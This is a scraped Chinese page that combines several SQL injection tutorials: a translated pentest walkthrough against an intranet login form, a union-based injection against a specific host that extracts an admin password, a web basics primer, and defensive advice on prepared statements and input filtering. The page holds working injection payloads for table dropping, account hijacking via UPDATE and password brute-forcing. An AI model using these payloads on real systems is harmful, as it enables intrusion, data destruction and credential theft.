精华内容
下载资源
问答
  • SQL注入攻击实例

    万次阅读 2016-05-26 15:17:49
    这是安全评估的一个部分,所以尽管我们之前没有使用过SQL注入来渗透网络,但对其概念也相当熟悉了。最后我们在这项任务中大获成功,现在来回顾一下这个过程的每一步,将它记录为一个案例。 我们记录下了在...

    一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分,所以尽管我们之前没有使用过SQL注入来渗透网络,但对其概念也相当熟悉了。最后我们在这项任务中大获成功,现在来回顾一下这个过程的每一步,将它记录为一个案例。


    我们记录下了在多次错误的转折后经历的曲折过程,而一个更有经验的人会有这不同的 — 甚至更好的 — 方法。但事实上我们成功以后才明白,我们并没有完全被误导。

    其他的SQL文章包含了更多的细节,但是这篇文章不仅展示了漏洞利用的过程,还讲述了发现漏洞的原理。

    目标内网

    展现在我们眼前的是一个完整定制网站,我们之前没见过这个网站,也无权查看它的源代码:这是一次“黑盒”攻击。‘刺探’结果显示这台服务器运行在微软的IIS6上,并且是ASP.NET架构。这就暗示我们数据库是微软的SQL server:我们相信我们的技巧可以应用在任何web应用上,无论它使用的是哪种SQL 服务器。

    登陆页有传统的用户-密码表单,但多了一个 “把我的密码邮给我”的链接;后来,这个地方被证实是整个系统陷落的关键。

    当键入邮件地址时,系统假定邮件存在,就会在用户数据库里查询邮件地址,然后邮寄一些内容给这个地址。但我的邮件地址无法找到,所以它什么也不会发给我。

    对于任何SQL化的表单而言,第一步测试,是输入一个带有单引号的数据:目的是看看他们是否对构造SQL的字符串进行了过滤。当把单引号作为邮件地址提交以后,我们得到了500错误(服务器错误),这意味着“有害”输入实际上是被直接用于SQL语句了。就是这了!

    我猜测SQL代码可能是这样:

    1. SELECT fieldlist  
    2.   FROM table  
    3.  WHERE field = '$EMAIL';  

    $EMAIL 是用户从表单提交的地址,并且这段查询在字符串末端$EMAIL上提供了引号。我们不知道字段或表的确切名字,但是我们了解他们的本质,这有助于我们做正确的猜测。

    当我们键入 steve@unixwiz.net‘ -注意这个末端的引号 – 下面是这个SQL字段的构成:

    1. SELECT fieldlist  
    2.   FROM table  
    3.  WHERE field = 'steve@unixwiz.net'';  

    当这段SQL开始执行,SQL解析器就会发现多余的引号然后中断执行,并给出语法错误的提示。这个错误如何清楚的表述给用户,基于应用内部的错误恢复规程,但一般来说都不会提示“邮件地址不存在”。这个错误响应成了死亡之门,它告诉别人用户输入没有被正确的处理,这就为应用破解留下了可乘之机。

    这个数据呈现在WHERE的从句中,让我们以符合SQL规范的方式改变输入试试,看看会发生什么。键入anything’ OR ‘x’=‘x, 结果如下:

    1. SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x';  

    因为应用不会思考输入 – 仅仅构造字符串 - 我们使用单引号把WHERE从句的单一组成变成了双组成,’x'=‘x从句是恒成立的,无论第一个从句是什么。(有一种更好的方式来确保“始终为真”,我们随后会接触到)。

    但与每次只返回单一数据的“真实”查询不同,上面这个构造必须返回这个成员数据库的所有数据。要想知道在这种情况下应用会做什么,唯一的方法就是尝试,尝试,再尝试。我们得到了这个:


    你的登录信息已经被邮寄到了 random.person@example.com.


    我们猜测这个地址是查询到的第一条记录。这个家伙真的会在这个邮箱里收到他忘记的密码,想必他会很吃惊也会引起他的警觉。

    我们现在知道可以根据自己的需要来篡改查询语句了,尽管对于那些看不到的部分还不够了解,但是我们注意到了在多次尝试后得到了三条不同的响应:

    • “你的登录信息已经被邮寄到了邮箱”
    • “我们不能识别你的邮件地址”
    • 服务器错误

    前两个响应是有效的SQL,最后一个响应是无效的SQL:当猜测查询语句结构的时候,这种区别非常有用。

    模式字段映射

    第一步是猜测字段名:我们合理的推测了查询包含“email address”和“password”,可能也会有“US Mail address”或者“userid”或“phone number”这样的字段。我们特别想执行 SHOW TABLE语句, 但我们并不知道表名,现在没有比较明显的办法可以拿到表名。

    我们进行了下一步。在每次测试中,我们会用我们已知的部分加上一些特殊的构造语句。我们已经知道这个SQL的执行结果是email地址的比对,因此我们来猜测email的字段名:

    1. SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL--';  

    目的是假定的查询语句的字段名(email),来试试SQL是不是有效。我不关心匹配的邮件地址是啥(我们用了个伪名’x’), ——’这个符号表示SQL注释的起始。对于去除应用末尾提供的引号,这是一个很有效的方式,我们不用在乎我们屏蔽掉的是啥。

    如果我们得到了服务器错误,意味着SQL有不恰当的地方,并且语法错误会被抛出:更有可能是字段名有错。如果我们得到了任何有效的响应,我们就可以猜测这个字段名是正确的。这就是我们得到“email unknown”或“password was sent”响应的过程。

    我们也可以用AND连接词代替OR:这是有意义的。在SQL的模式映射阶段,我们不需要为猜一个特定的邮件地址而烦恼,我们也不想应用随机的泛滥的给用户发“这是你的密码”的邮件 - 这不太好,有可能引起怀疑。而使用AND连接邮件地址,就会变的无效,我们就可以确保查询语句总是返回0行,永远不会生成密码提醒邮件。

    提交上面的片段的确给了我们“邮件地址未知”的响应,现在我们知道邮件地址的确是存储在email字段名里。如果没有生效,我们可以尝试email_address或mail这样的字段名。这个过程需要相当多的猜测。

    接下来,我们猜测其他显而易见的名字:password,user ID, name等等。每次只猜一个字段,只要响应不是“server failure”,那就意味着我们猜对了。

    1. SELECT fieldlist FROM table WHERE email = 'x' AND userid IS NULL--';  

    在这个过程中,我们找到了几个正确的字段名:

    • email
    • passwd
    • login_id
    • full_name

    无疑还有更多(有一个线索是表单中的字段名),一阵挖掘后没有发现更多了。但是我们依然不知道这些字段名的表名,它们在哪找到的?

    寻找数据库表名

    应用的内建查询指令已经建立了表名,但是我们不知道是啥:有几个方法可以找到表名。其中一个是依靠subselect(字查询)。

    一个独立的查询

    1. SELECT COUNT(*) FROM tabname  

    返回表里记录的数量,如果表名无效,查询就会失败。我们可以建立自己的字符串来探测表名:

    1. SELECT email, passwd, login_id, full_name  
    2.   FROM table  
    3.  WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';  

    我们不关心到底有多少条记录,只关心表名是不是正确。重复多次猜测以后,我们终于发现members是这个数据库里的有效表名。但它是用在这个查询里的么?所以我们需要另一个测试,使用table.field:实际查询的部分只工作在这个表中,而不是只要表存在就执行。

    1. SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'  
    2.                     AND members.email IS NULL--';  

    当返回“Email unknown”时,就意味着我们的SQL注入成功了,并且我们正确的猜测出了表名。这对后面的工作很重要,但是我们暂时先试试其他的方法。

    找用户账号

    我们对members表的结构有了一个局部的概念,但是我们仅知道一个用户名:任意用户都可能得到“Here is your password”的邮件。回想起来,我们从未得到过信息本身,只有它发送的地址。我们得再弄几个用户名,这样就能得到更多的数据。

    首先,我们从公司网站开始找几个人:“About us”或者“Contact”页通常提供了公司成员列表。通常都包含邮件地址,即使它们没有提供这个列表也没关系,我们可以根据某些线索用我们的工具找到它们。

    LIKE从句可以进行用户查询,允许我们在数据库里局部匹配用户名或邮件地址,每次提交如果显示“We sent your password”的信息并且邮件也真发了,就证明生效了。

    警告:这么做拿到了邮件地址,但也真的发了邮件给对方,这有可能引起怀疑,小心使用。

    我们可以查询email name或者full name(或者推测出来的其他信息),每次放入%通配符进行如下查询:

    1. SELECT email, passwd, login_id, full_name  
    2.   FROM members  
    3.  WHERE email = 'x' OR full_name LIKE '%Bob%';  

    记住尽管可能不只有一个“Bob”,但我们只能看到一条信息:建议精炼LIKE从句。

    密码暴力破解

    可以肯定的是,我们能在登陆页进行密码的暴力破解,但是许多系统都针对此做了监测甚至防御。可能有的手段有操作日志,帐号锁定,或者其他能阻碍我们行动的方式,但是因为存在未过滤的输入,我们就能绕过更多的保护措施。

    我们在构造的字符串里包含进邮箱名和密码来进行密码测试。在我们的例子中,我们用了受害者bob@example.com 并尝试了多组密码。

    1. SELECT email, passwd, login_id, full_name FROM members WHERE email = '<a  
    2.                         href="mailto:bob@example.com">bob@example.com</a>' AND passwd  
    3.                         = 'hello123';  

    这是一条很好使的SQL语句,我们不会得到服务器错误的提示,只要我们得到“your password has been mailed to you”的提示信息,就证明我们已经得到密码了。这时候受害人可能会警觉起来,但谁关心他呢,我们已经得到密码了。

    这个过程可以使用perl脚本自动完成,然而,我们在写脚本的过程中,发现了另一种方法来破解系统。

    数据库不是只读的

    迄今为止,我们没做查询数据库之外的事,尽管SELECT是只读的,但不代表SQL只能这样。SQL使用分号表示结束,如果输入没有正确过滤,就没有什么能阻止我们在字符串后构造与查询无关的指令。

    The most drastic example is:

    这剂猛药是这样的:

    1. SELECT email, passwd, login_id, full_name  
    2.   FROM members  
    3.  WHERE email = 'x'DROP TABLE members; --';  -- Boom!  

    第一部分我们准备了一个伪造的email地址——‘X’——我们不关心查询结果返回什么:我们想要得到的只是我们自己构造的SQL指令。这次攻击删除了整个members表,这就不太好玩了。

    这表明我们不仅仅可以切分SQL指令,而且也可以修改数据库。这是被允许的。

    添加新用户

    我们已经了解了members表的局部结构,添加一条新纪录到表里视乎是一个可行的方法:如果这成功了,我们就能简单的用我们新插入的身份登陆到系统了。

    不要太惊讶,这条SQL有点长,我们把它分行显示以便于理解,但它依然是一条语句:

    1. SELECT email, passwd, login_id, full_name  
    2.   FROM members  
    3.  WHERE email = 'x';  
    4.         INSERT INTO members ('email','passwd','login_id','full_name')   
    5.         VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';  

    即使我们得到了正确的字段名和表名,但在成功攻击之前我们还有几件事需要了解:

    1. 在web表单里,我们可能没有足够的空间键入这么多文本(尽管可以用脚本解决,但并不容易)。
    2. web应用可能没有members表的INSERT权限。
    3. 母庸置疑,members表里肯定还有其他字段,有一些可能需要初始值,否则会引起INSERT失败。
    4. 即使我们插入了一条新纪录,应用也可能不正常运行,因为我们无法提供值的字段名会自动插入NULL。
    5. 一个正确的“member”可能额不仅仅只需要members表里的一条纪录,而还要结合其他表的信息(如,访问权限),因此只添加一个表可能不够。

    在这个案例里,我们遇到了问题#4或#5,我们无法确定到底是哪个—— 因为用构造好的用户名登陆进去的时候,返回了服务器错误的提示。尽管这就暗示了我们那些没有构造的字段是必须的,但我们没有办法正确处理。

    一个可行的办法是猜测其他字段,但这是一个劳力费神的过程:尽管我们可以猜测其他“显而易见”的字段,但要想得到整个应用的组织结构图太难了。

    我们最后尝试了其他方式。

    把密码邮给我

    我们意识到虽然我们无法添加新纪录到members数据库里,但我们可以修改已经存在的,这被证明是可行的。

    从上一步得知 bob@example.com 账户在这个系统里,我们用SQL注入把数据库中的这条记录改成我们自己的email地址:

    1. SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x';  
    2.                             UPDATE members SET email = <a href="mailto:'steve@unixwiz.net">'steve@unixwiz.net</a>'  
    3.                             WHERE email = <a href="mailto:'bob@example.com">'bob@example.com</a>';  

    运行之后,我们自然得到了“we didn’t know your email address”的提示,但这在预料之中,毕竟我们用了假的email地址。UPDATE操作不会通知应用,因此它悄然执行了。

    之后,我们使用了“I lost my password”的功能,用我们刚刚更新的email地址,一分钟后,我们收到了这封邮件:

    1. From: <a href="mailto:system@example.com">system@example.com</a>  
    2.                                 To: <a href="mailto:steve@unixwiz.net">steve@unixwiz.net</a>  
    3.                                 Subject: Intranet login This email is in response to your request for your  
    4.                                 Intranet log in information. Your User ID is: bob Your password is: hello  

    现在,我们要做的就是跟随标准的登录流程进入系统,这是一个高等级职员,有高级权限,比我们INSERT的用户要好。

    我们发现这个企业内部站点内容特别多,甚至包含了一个全用户列表,我们可以合理的推出许多内网都有同样的企业Windows网络帐号,它们可能在所有地方都使用同样的密码。我们很容易就能得到任意的内网密码,并且我们找到了企业防火墙上的一个开放的PPTP协议的VPN端口,这让登录测试变得更简单。

    我们又挑了几个帐号测试都没有成功,我们无法知道是否是“密码错误”或者“企业内部帐号是否与Windows帐号名不同”。但是我们觉得自动化工具会让这项工作更容易。

    其他方法

    在这次特定的渗透中,我们得到了足够的权限,我们不需要更多了,但是还有其他方法。我们来试试我们现在想到的但不够普遍的方法。

    我们意识到不是所有的方法都与数据库无关,我们可以来试试。

    调用xp_cmdshell

    微软的SQLServer支持存储过程xp_cmdshell有权限执行任意操作系统指令。如果这项功能允许web用户使用,那webserver被渗透是无法避免的。

    迄今为止,我们做的都被限制在了web应用和数据库这个环境下,但是如果我们能执行任何操作系统指令,再厉害的服务器也禁不住渗透。xp_cmdshell通常只有极少数的管理员账户才能使用,但它也可能授权给了更低级的用户。

    绘制数据库结构

    在这个登录后提供了丰富功能应用上,已经没必要做更深的挖掘了,但在其他限制更多的环境下可能还不够。

    能够系统的绘制出数据库可见结构,包含表和它们的字段结构,可能没有直接帮助。但是这为网站渗透提供了一条林萌大道。

    从网站的其他方面收集更多有关数据结构的信息(例如,“留言板”页?“帮助论坛”等?)。不过这对应用环境依赖强,而且还得靠你准确的猜测。

    减轻危害

    我们认为web应用开发者通常没考虑到“有害输入”,但安全人员应该考虑到(包括坏家伙),因此这有3条方法可以使用。

    输入过滤

    过滤输入是非常重要的事,以确保输入不包含危险代码,无论是SQL服务器或HTM本身。首先想到的是剥掉“恶意字符”,像引号、分号或转义符号,但这是一种不太好的方式。尽管找到一些危险字符很容易,但要把他们全找出来就难了。

    web语言本身就充满了特殊字符和奇怪的标记(包括那些表达同样字符的替代字符),所以想要努力识别出所有的“恶意字符”不太可能成功。

    换言之,与其“移除已知的恶意数据”,不如移除“良好数据之外的所有数据”:这种区别是很重要的。在我们的例子中,邮件地址仅能包含如下字符:

    [text] view plaincopy
    1. abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 @.-_+  

    允许不正确的字符输入是没有任何好处的,应该早点拒绝它们 - 可能会有一些错误信息 – 不仅可以阻止SQL注入,也可以捕获一些输入错误而不是把它们存入数据库。

    某个特殊的email地址会让验证程序陷入麻烦,因为每个人对于“有效”的定义不同。由于email地址中出现了一个你没有考虑到的字符而被拒绝,那真是糗大了。

    真正的权威是 RFC 2822(比RFC822内容还多),它对于”允许使用的内容“做了一个规范的定义。这种更学术的规范希望可以接受&和*(还有更多)作为有效的email地址,但其它人 - 包括作者 – 都乐于用一个合理的子集来包含更多的email地址。

    那些采用更限制方法的人应当充分意识到没有包含这些地址会带来的后果,特别是限制有了更好的技术(预编译/执行,存储过程)来避免这些“奇怪”的字符带来的安全问题。

    意识到“过滤输入”并不意味着仅仅是“移除引号”,因为即使一个“正规”的字符也会带来麻烦。在下面这个例子中,一个整型ID值被拿来和用户的输入作比较(数字型PIN):

    1. SELECT fieldlist FROM table WHERE id = 23 OR 1=1; -- Boom! Always matches!  

    在实践中,无论如何这个方法都有诸多限制,因为能够彻底排除所有危险字符的字段实在太少了。对于“日期”或者“email地址”或者“整型”,上面的办法是有价值的,但对于真实的环境,我们不可避免地要使用其他方式来减轻危害。

    输入项编码/转义

    现在可以过滤电话号码和邮件地址了,但你不能通过同样的方法处理“name”字段,要不然可能会排除掉Bill O’Reilly这样的名字:对于这个字段,这里的引号是合法的输入。

    有人就想到过滤到单引号的时候,再加上一个引号,这样就没问题了 – 但是这么干要出事啊!

    预处理每个字符串来替换单引号:

    1. SELECT fieldlist  
    2.   FROM customers  
    3.  WHERE name = 'Bill O''Reilly';  -- works OK  

    这个方法很容易出问题,因为大部分数据库都支持转码机制。像MySQL,允许输入’来替代单引号,因此如果输入 ‘; DROP TABLE users;  时,通过两次引号来“保护”数据库,那我们将得到:

    1. SELECT fieldlist  
    2.   FROM customers  
    3.  WHERE name = '\''DROP TABLE users; --';  -- Boom!  

    ‘’’ 是一个完整的SQL语句(只包含一个引号),通常,恶意SQL代码就会紧跟其后。不光是反斜线符号的情况:像Unicode编码,其他的编码或者解析规则都会无意中给程序员挖坑。完美的过滤的很困难的,这就是为什么许多的数据库借口语言都提供函数给你使用。当同样的内容给“string quoting”和“string parsing”处理过后,会好一些,也更安全一些。

    比如MySQL的函数mysql_real_escape_string()和perl DBD 的 $dbh->quote($value)方法,这些方法都是必用的。

    参数绑定 (预编译语句)

    尽管转义是一个有用的机制,但我们任然处于“用户输入被当做SQL语句”这么一个循环里。更好的方法是:预编译,本质上所有的数据库编程接口都支持预编译。技术上来说,SQL声明语句是用问号给每个参数占位创建的 – 然后在内部表中进行编译。

    预编译查询执行时是按照参数列表来的:

    Perl中的例子

    1. $sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");  
    2.   
    3. $sth->execute($email);  

    感谢Stefan Wagner帮我写了个java实现:

    不安全版

    1. Statement s = connection.createStatement();  
    2. ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "  
    3.                              + formField); // *boom*  

    安全版

    1. PreparedStatement ps = connection.prepareStatement(  
    2.     "SELECT email FROM member WHERE name = ?");  
    3. ps.setString(1, formField);  
    4. ResultSet rs = ps.executeQuery();  

    $email 是从用户表单获得的,它作为#1(第一个问号标记的地方)位置的参数传递过来,在任何情况下这条SQL声明都可以解析。引号,分号,反斜杠,SQL指令记号 – 任何字符都不会产生特殊效果,因为它们“只是数据”而已。这不会对其他东西造成破坏,因此这个应用很大程度上防范了SQL注入攻击。

    如果预编译查询语句多次(只编译一次)执行,也会带来性能上的提升,但是与大量安全方面的巨大提升相比,这显得微不足道。这可能是我们保证web应用安全最重要的一步。

    限制数据库权限和隔离用户

    在这个案例中,我们观察到只有两个交互动作不在登录用户的上下文环境中:“登录”和“发密码给我”。web应用应该对数据库连接做权限的限制:对于members表只能读,并且无法操作其他表。

    作用是即使一次“成功的”SQL注入攻击也只能得到非常有限的成功。噢,我们将不能做有授权的UPDATE请求,我们要求助于其他方法。

    一旦web应用确定登录表单传递来的认证是有效的,它就会切换会话到一个有更多权限的用户上。

    对任何web应用而言,不使用sa权限几乎是根本不用说的事。

    对数据库的访问采用存储过程

    如果数据库支持存储过程,请使用存储过程来执行数据库的访问行为,这样就不需要SQL了(假设存储过程编程正确)。

    把查询,更新,删除等动作规则封装成一个单独的过程,就可以针对基础规则和所执行的商业规则来完成测试和归档(例如,如果客户超过了信用卡限额,“添加新记录”过程可能拒绝订单)。

    对于简单的查询这样做可能仅仅能获得很少的好处,不过一旦操作变复杂(或者被用在更多地方),给操作一个单独的定义,功能将会变得更稳健也更容易维护。

    注意:动态构建一个查询的存储过程是可以做到的:这么做无法防止SQL注入 – 它只不过把预编译/执行绑定到了一起,或者是把SQL语句和提供保护的变量绑定到了一起。

    隔离Web服务器

    实施了以上所有的防御措施,仍然可能有某些地方有遗漏,导致了服务器被渗透。设计者应该在假定坏蛋已经获得了系统最高权限下来设计网络设施,然后把它的攻击对其他事情产生的影响限制在最小。

    例如,把这台机器放置在极度限制出入的DMZ网络“内部”,这么做意味着即便取得了web服务器的完全控制也不能自动的获得对其他一切的完全访问权限。当然,这么做不能阻止所有的入侵,不过它可以使入侵变的非常困难。

    配置错误报告

    一些框架的错误报告包含了开发的bug信息,这不应该公开给用户。想象一下:如果完整的查询被现实出来了,并且指出了语法错误点,那要攻击该有多容易。

    对于开发者来说这些信息是有用的,但是它应该禁止公开 – 如果可能 - 应该限制在内部用户访问。

    注意:不是所有的数据库都采用同样的方式配置,并且不是所有的数据库都支持同样的SQL语法(“S”代表“结构化”,不是“标准的”)。例如,大多数版本的MySQL都不支持子查询,而且通常也不允许单行多条语句(multiple statements):当你渗透网络时,实际上这些就是使问题复杂化的因素。


    再强调一下,尽管我们选择了“忘记密码”链接来试试攻击,但不是因为这个功能不安全。而是几个易攻击的点之一,不要把焦点聚集在“忘记密码”上。

    这个教学示例不准备全面覆盖SQL注入的内容,甚至都不是一个教程:它仅仅是一篇我们花了几小时做的渗透测试的记录。我们看了其他的关于SQL注入文章的讨论,但它们只给出了结果而没有给出过程。

    但是那些结果报告需要技术背景才能看懂,并且渗透细节也是有价值的。在没有源代码的情况下,渗透人员的黑盒测试能力也是有价值的。

    其他资源

    展开全文
  • 一、检测注入点二、判断是否存在 SQL 注入可能三、数据库爆破四、字段爆破五、数据库表爆破六、用户名、密码爆破七、总结一、检测注入点首先,在http://120.203.13.75:6815/?id=1...二、判断是否存在 SQL 注入可能...

    一、检测注入点

    二、判断是否存在 SQL 注入可能

    三、数据库爆破

    四、字段爆破

    五、数据库表爆破

    六、用户名、密码爆破

    七、总结

    一、检测注入点

    首先,在 http://120.203.13.75:6815/?id=1 目标站点页面发现了 ?id,说明可以通过查询 id=1 的内容来获得页面。

    这相当于查询语句:

    select * from [表名] where id = '1';

    7b515946811b448db2af81cbc20cb11f.png

    二、判断是否存在 SQL 注入可能

    在 http://120.203.13.75:6815/?id=1 后加入一个 单引号,构成http://120.203.13.75:6815/?id=1',此时的 SQL 查询语句变为:

    select * from 表名 where id =1';

    SQL 语句未正确结束,因此返回了一个错误页面,如图所示:

    81e8c9e5972a0b0ecf51d52dc6f4ef9b.png

    继续测试 and 1=1 和 and 1=2:

    http://120.203.13.75:6815/?id=1 and 1=1

    这相当于 SQL 查询语句:

    select * from 表名 where id =1 and 1=1;

    SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面,如图所示:

    52199b075f2e8b0c5b100dad6084b340.png

    http://120.203.13.75:6815/?id=1 and 1=2

    这相当于 SQL 查询语句:

    select select * from 表名 where id =1 and 1=2;

    SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误,如图所示:

    71ec9b4536a67a543afe413a286980cc.png

    说明 SQL 语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。

    三、数据库爆破

    现在要判断数据库类型以及版本,构造语句如下:

    http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51

    发现返回正常页面,说明数据库是 MySQL,并且版本大于 4.0,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。

    a534523de78cfecb21e6aa93f1f7748e.png

    四、字段爆破

    进一步猜测数据注入位置:

    http://120.203.13.75:6815/?id=1 order by 10

    这相当于 SQL 查询语句:

    select * from [表名] where id =1 order by 10;

    返回错误,说明字段小于 10:

    6724e55de26f4010df9c715908d17012.png

    http://120.203.13.75:6815/?id=1 order by 2

    这相当于SQL查询语句:

    select * from [表名] where id =1 order by 2;

    返回正常页面,说明字段是 2。当字段数很大时,二分查找法的优势比较明显,效率更高。

    c13ad21ada0fdf0124ea69cfa3d57e3f.png

    五、数据库表爆破

    确定字段之后,现在要构造联合查询语句 (union select),语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2

    可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。

    8817843c5a1b3501b2a867327a7e12b3.png

    查询数据库版本:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version()

    得到结果为版本号 5.5.53,如图所示:

    471bbb3dca2ae36222d3c199829a3809.png

    六、用户名、密码爆破

    现在把 2 替换掉,先查询数据库名称,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()

    浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe,如图所示:

    53becc6656dc2cc04f221e7152ba71e2.png

    用同样的手法查询表名,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'

    浏览器返回 admin,说明表名为 admin,如图所示:

    1a3dc53f544dd574898dccba969946cf.png

    再用同样的手法猜测密码和用户名字段,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin

    7c2fe809995de037ea7a1df25feb5448.png

    返回失败,说明字段名称不是 pwd。

    重新猜测密码字段,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin

    17a78a95afe287e5bcb1263ee54e4467.png

    返回成功,说明密码字段名称为 password,且登录密码为 hellohack。

    七、总结

    要想实现注入,首先要找到 注入点。使用联合查询语句时,需要将语句写在一个闭合的空间内,这个空间就是通过查找注入点并添加的一个闭合的引号内。在网站中使用的查询语句在 MySQL 中都是可以实现的。

    基本步骤:

    找到注入点;

    判断当前表的字段;

    用联合语句查看哪几位是有效位;

    查看当前数据库中有哪些表;

    查看表中有哪些属性;

    查看表中具体的数据信息。

    展开全文
  • MySQL 处理SQL注入攻击如果您通过网页获取用户输入并将其插入到一个MySQL数据库中,则有可能让您对称为SQL注入的安全问题敞开大门。本课将教您如何帮助防止这种情况发生,并帮助您保护脚本和MySQL语句。比如当你要求...

    MySQL  处理SQL注入攻击

    如果您通过网页获取用户输入并将其插入到一个MySQL数据库中,则有可能让您对称为SQL注入的安全问题敞开大门。本课将教您如何帮助防止这种情况发生,并帮助您保护脚本和MySQL语句。

    比如当你要求用户输入他们的名字,这时候他们给你的不是名字而是一个MySQL语句,那么你可能会在不知不觉中运行这条SQL语句。

    永远不要相信用户提供的数据,只在验证后处理此数据.通常,这是通过模式匹配来完成的。在下面的示例中,用户名限制为字母数字混合个字符,加上下划线和长度为8到20个字符—根据需要修改这些规则。if (preg_match("/^\w{8,20}$/", $_GET['username'], $matches))

    {

    $result = mysql_query("SELECT * FROM users

    WHERE username=$matches[0]");

    }

    else

    {

    echo "username not accepted";

    }

    为了演示问题,请考虑以下输入:// supposed input

    $name = "Qadir'; DELETE FROM users;";

    mysql_query("SELECT * FROM users WHERE name='{$name}'");

    函数调用应该从users表中检索记录,其中名称列与用户指定的名称匹配。在正常情况下, $name只包含字母数字字符和空格,例如字符串 ilia。但是在这里,通过将一个全新的查询附加到$name,对数据库的调用变成了灾难:注入的删除查询从用户删除所有记录。

    幸运的是,如果使用MySQL ,mysql_query() 函数不允许在单个函数调用中查询堆栈或执行多个查询。如果尝试堆栈查询,则调用失败。

    但是,其他PHP数据库扩展,例如SQLite和PostgreSQL,则会愉快地执行堆叠查询,执行一个字符串中提供的所有查询,并产生严重的安全问题。

    防止SQL注入:

    您可以使用perl和PHP等脚本语言巧妙地处理所有转义字符。PHP的MySQL扩展提供了函数mysql_real_escape_string()以转义对MySQL有特殊意义的字符。if (get_magic_quotes_gpc())

    {

    $name = stripslashes($name);

    }

    $name = mysql_real_escape_string($name);

    mysql_query("SELECT * FROM users WHERE name='{$name}'");

    Like语句中的注入

    like查询时,如果用户输入的值有"_"和"%",则会出现这种情况:用户本来只是想查询"abcd_",查询结果中却有"abcd_"、"abcde"、"abcdf"等等;用户要查询"30%"(注:百分之三十)时也会出现问题。

    在PHP脚本中我们可以使用addcslashes()函数来处理以上情况,如下实例:$sub = addcslashes(mysqli_real_escape_string($conn, "%something_"), "%_");

    // $sub == \%something\_

    mysqli_query($conn, "SELECT * FROM messages WHERE subject LIKE '{$sub}%'");

    展开全文
  • 了解通信原理之后能帮助你更好的理解后面实例中的一顿“操作”。web通信原理介绍IP:ip 实际上就是生活中的地址,好像 XX省XX市XX区...... ,只不过 ip 是由数字组成。IP 分为内网ip 和 公网ip,公网地址是运营商...

    相信点进来的你和我一样看不懂标题。

    没关系,不妨先了解一下,为什么我在网址栏里输入一串网址,就可以访问到这个网页。

    了解通信原理之后能帮助你更好的理解后面实例中的一顿“操作”。

    94423a434098b1004e0f1821457530cf.gif

    web通信原理介绍 

    IP:ip 实际上就是生活中的地址,好像  XX省XX市XX区...... ,只不过 ip 是由数字组成。IP 分为内网ip 和 公网ip,公网地址是运营商分配,内网地址是路由器分配的。

    域名:方便记忆而发明的一种字符标识。比如说www.baidu.com就是域名,而其对应了很多个ip。

    Web容器 :web容器是一个程序,这个程序是被动的,常常被称为“中间件”。因为是一个被动的程序,所以需要其他计算机发出请求给ta时,ta才会响应。功能是存储、处理、传送网页给浏览器。

    常见的Web容器:

    •  IIS,Windows 平台专用;

    •  Apache,通用,跨平台;

    •  Nginx,通用,跨平台

    Web通信中必备的还有数据库系统,用来存储数据和数据间关系。

    常见的数据库有:SqlServer、Oracle、MySQL、DB2等

    2a9949228a758b7a9e1072035dbde64a.png

    举个栗子

    cd1df96e3f424ce0a4eade9d79d86aec.png712dd4bcf2086b56c5fbb133e1bf9359.png

    如果网站是个图书馆.....

    web容器就好像是图书馆管理员,只有当别人向他寻求第几排第几行的某本书(告诉web容器是哪一个文件),他才会从架子上把书(也就是网页文件)交给读者(而文件与数据之间可以简单理解为通过数据库存储的),如果这本“书”只供内部翻阅,不对外开放,当外来读者寻求的时候,管理员则会拒绝交给他。

    每一个网站,其实可以理解为由一堆又一堆这样的文件所组成,这些文件存储在网站的服务器里,网页的首页可以是某个目录文件,我可以给下图这个网站定义一个域名(其实是要买的)叫https://www.qiuzhuanfa.com/

    d904e6696d8b96e5652e326a069d4508.png

    当我们访问它的时候,它就从一堆文件里提取一些网页的必要元素(图片,css文件等等),传递给你的浏览器,浏览器再去表达,最后形成了一个如下的网页(这个只是一个网站的框架)

    e7363ec381aeff8e13c58fa3bddabfb4.png3b3176ade8bd0f77645c1f66d222b225.png

    辣么,当我点击网页中的某个链接,它跳转到如下网页的时候

    aa1311915d38f565ccce799074207868.png

    其实就是向服务器访问我们刚刚那个examples文件夹(或某个文件)

    d4395eda1f30a264001a95a64e6b4757.png

    服务器发送给浏览器一堆必要文件之后,再表达,形成平时看到的网页

    是不是清楚了许多?

    1db53ef4e20c3550f1ffec1f3c692ee0.png

    地址栏(就是输入网址那个框框)本质上是向服务器传递参数,在服务器允许的范围内可以访问文件,形成网页。上面我们提到过,web容器中必备的还有数据库软件,通常情况下,web容器会过滤掉不合理的命令,允许访问网页,但是拒绝操作服务器的命令。万事皆有例外,网页中总是存在漏洞的,通过一些漏洞,我们就可以通过写入一些命令语句,操作数据库,通过数据库拿到管理员账户和密码,达到攻击的目的。

    cc8358e3313022dd4b000c6e2d2fd426.gif

    了解了必备背景知识之后,让我们开始看看具体操作吧

    注意

    观前提示:下篇所有操作请勿在不被允许的服务器上进行测试,切记,我国有一套完整的刑法

    SQL注入渗透原理

